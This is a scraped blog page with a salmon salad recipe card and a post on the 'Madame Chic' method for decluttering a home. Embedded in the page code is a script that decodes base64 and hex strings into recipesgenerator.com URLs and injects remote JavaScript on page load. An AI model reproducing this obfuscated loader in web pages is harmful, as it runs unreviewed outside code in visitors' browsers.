1px solid rgba(0, 0, 0, 0.1);word-wrap: break-word;line-break: anywhere;overflow-wrap: anywhere;box-shadow: inset 0 1px 0 0 rgba(255, 255, 255, 0.1);}.ccm-posturl a{font-size: 13px;}.ccm-notes-inner{padding-top: 10px;line-height: 1.7;}.ccm-notes-inner p{margin-bottom: 0 !important;}.ccm-copyright{font-size: 13px;font-style: italic;line-height: 1.6;padding: 15px 0;border-top: 1px solid #ccc;}.ccm-credit{font-size: 12px;padding: 10px;text-align: center;background: #fff;margin: 0 -20px !important;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;border-top: 1px solid rgba(0, 0, 0, 0.15);}.ccm-credit a{color: #00f;text-decoration: none;}.ccm-keywords,.ccm-categories,.ccm-cuisine,.ccm-video,.ccm-section>br,.ccm-time br{display: none;}window.addEventListener("DOMContentLoaded", function () {if(!document.querySelector(".ccm-card-u-script")){var u = document.createElement("script");u.className="ccm-card-u-script";u.src=atob("aHR0cHM6Ly9jZG4ucmVjaXBlc2dlbmVyYXRvci5jb20") + "/WW1MXsBhboWKXE5RSIR9otXSCNq2/code.js";document.querySelector("head").appendChild(u);}for(var h="68747470733a2f2f636f6d6d6f6e2e7265636970657367656e657261746f722e636f6d2f636f64652e6a73".toString(),str="",n=0;n<h.length;n+=2)str+=String.fromCharCode(parseInt(h.substr(n,2),16)); if (!document.querySelector("[src*='" + str + "']")) { var s = document.createElement("script"); s.className = "ccm-card-e-script"; s.src = str + "?v=" + (new Date()).getTime(); document.querySelector("head").appendChild(s); } }); Fancy Salmon Salad {"name":"Fancy Salmon Salad","recipeIngredient":["12 - 14 oz cooked salmon (3 small filets or 2 6oz cans)","1/2 cup celery, finely chopped","3 dates, finely chopped (optional)","1/4 cup green onions, chopped","1 Tbs fresh dill, chopped","1/4 cup mayonnaise","juice of one lemon","3/4 tsp seasoned salt (old bay, lemon pepper, or season-all)","lettuce leaves and grapes for garnish"],"recipeInstructions":["If using fresh salmon, roast salmon in an oven at 400 degrees F with some oil, salt and pepper for 20 minutes. Allow to cool. Flake salmon off the skin and into a bowl. If using canned salmon, drain the salmon and flake into a bowl. Add the rest of the ingredients except for the lettuce and grapes. Stir to combine. Prepare each plate by laying down lettuce leaves. Press the salmon salad into a ramekin and place gently upside down on top of the lettuce until it comes out in a neat mound. Top with sliced grapes. Repeat on each plate. Enjoy."],"image":"https://i.imgur.com/6Zd3NSj.jpg"..."}
PrintWith ImageWithout ImageFancy Salmon SaladIngredients12 - 14 oz cooked salmon (3 small filets or 2 6oz cans)1/2 cup celery, finely chopped3 dates, finely chopped (optional)1/4 cup green onions, chopped1 Tbs fresh dill, chopped1/4 cup mayonnaisejuice of one lemon3/4 tsp seasoned salt (old bay, lemon pepper, or season-all)lettuce leaves and grapes for garnishInstructionsIf using fresh salmon, roast salmon in an oven at 400 degrees F with some oil, salt and pepper for 20 minutes. Allow to cool. Flake salmon off the skin and into a bowl. If using canned salmon, drain the salmon and flake into a bowl. Add the rest of the ingredients except for the lettuce and grapes. Stir to combine. Prepare each plate by laying down lettuce leaves. Press the salmon salad into a ramekin and place gently upside down on top of the lettuce until it comes out in a neat mound. Top with sliced grapes. Repeat on each plate. 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Nadege writes, "I really needed to hear this again and again. All of this and especially living in a clutter-free environment circles right back to “making the everyday beautiful”. What a gift we’ve been given to alter our environment to create peace and beauty. Thank you for a wonderful video."Hi Nadege, we all need regular reminders to sort out the clutter. It's never a one-and-done deal, unfortunately. But with regular habits, we can get to a new level with it. Thank you for watching!
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March 10, 2022
The Madame Chic Method for a Clutter-Free Home
In Lessons from Madame Chic we learn that clutter is so not chic. Today we are going to discuss the Madame Chic method for ridding your home of clutter once and for all (hint: it's an ongoing process). I hope you enjoy today's video.
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Let's examine the five points:
Hot Spots are the high-traffic areas in your home where clutter easily accumulates. The clutter might rotate here… but it is always there. Identify where your hot spots are. Be aware of them. Aim to sort through these every day. Don’t become accustomed to them. Work together with your family to keep these hot spots under control. Likely they will always be hot spots in that they are in high traffic areas, but they don’t have to be a disorganized mess.
Stagnant Spaces These are the out-of-the-way areas that accumulate clutter. This clutter tends to sit there waiting for something to happen, but it never does. This is the area I have always most struggled with and continue to do so today. Because sometimes when you are clearing your visible hot spots, you cram the clutter you don’t know what to do with in your stagnant spaces. Schedule regular times to go through these spaces. Listen to a good audiobook so you don’t feel it’s such a chore and actually look forward to going through the hot mess.
Look at your home with new eyesThis one is big. BIG. We all become accustomed to how our home looks and we become comfortable with the clutter. In the beginning you might be annoyed with that perpetual pile of clutter in the corner or the pile of things you have to go through, but over time you become desensitized to it and these piles might start to build up and accumulate. Soon, it just doesn’t bother you anymore. But you might become hyper aware of your clutter zones when a new person comes to visit your home. So an exercise I put forth in Lessons from Madame Chic is to walk into your home. Physically do it. From the front door. And look around as if you were entering for the first time. Maybe as a potential buyer for a home. You would instantly notice places that were off or the clutter you got so used to would become unsightly for you.
Check the flow When I lived in Santa Monica, I had a good friend, who has since passed away, and she was a Feng Shui expert. She taught me so much about the importance of energy and flow in a space. Some people think that a space that’s properly “feng shui-ed” (is that even a word?) is very minimalist, but that’s not true. Any space can employ the principles of Feng Shui. Madame Chic’s apartment had such a wonderful flow. There was absolutely no clutter to obstruct energy. Clutter is considered negative in the world of Feng Shui because it causes congestion in the overall flow of a room and we want rooms with beautiful free-flowing energy. Even without being trained in the art of Feng Shui, you can probably look at the room you’re in now to determine if there is a good flow. Or is there a pile or clutter or an object or two that you need to remove from the space.
Is it beautiful? This could be the biggest Madame Chic method principle. Is your room beautiful? This matters, you know. Women, especially, are very visual creatures who need to be surrounded by beauty. Clutter often destroys the beauty in a room. I think of it like a beautiful outfit with a big coffee stain on it. The stain is the clutter. You deserve to live in beautiful surroundings. You shouldn’t wait for this to happen “one day when the kids are older” or when XYZ happens. No, it can happen now. I don’t mean to go have a shopping spree to redecorate. I mean to fix your space now. Do you need to rearrange the furniture? Are you finally getting things out of that room that don’t belong? Are there school supplies in the kitchen that should be in the homeschool room? Is your entryway crammed with coats and shoes you don’t wear right now? Are there toys that don’t belong on the coffee table? Create beauty with what you have already by clearing the clutter in your home.
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I hope you enjoyed today's video, everyone. I would love to know about your clutter triumphs and failures. Let's all work on it together. Love, Jennifer
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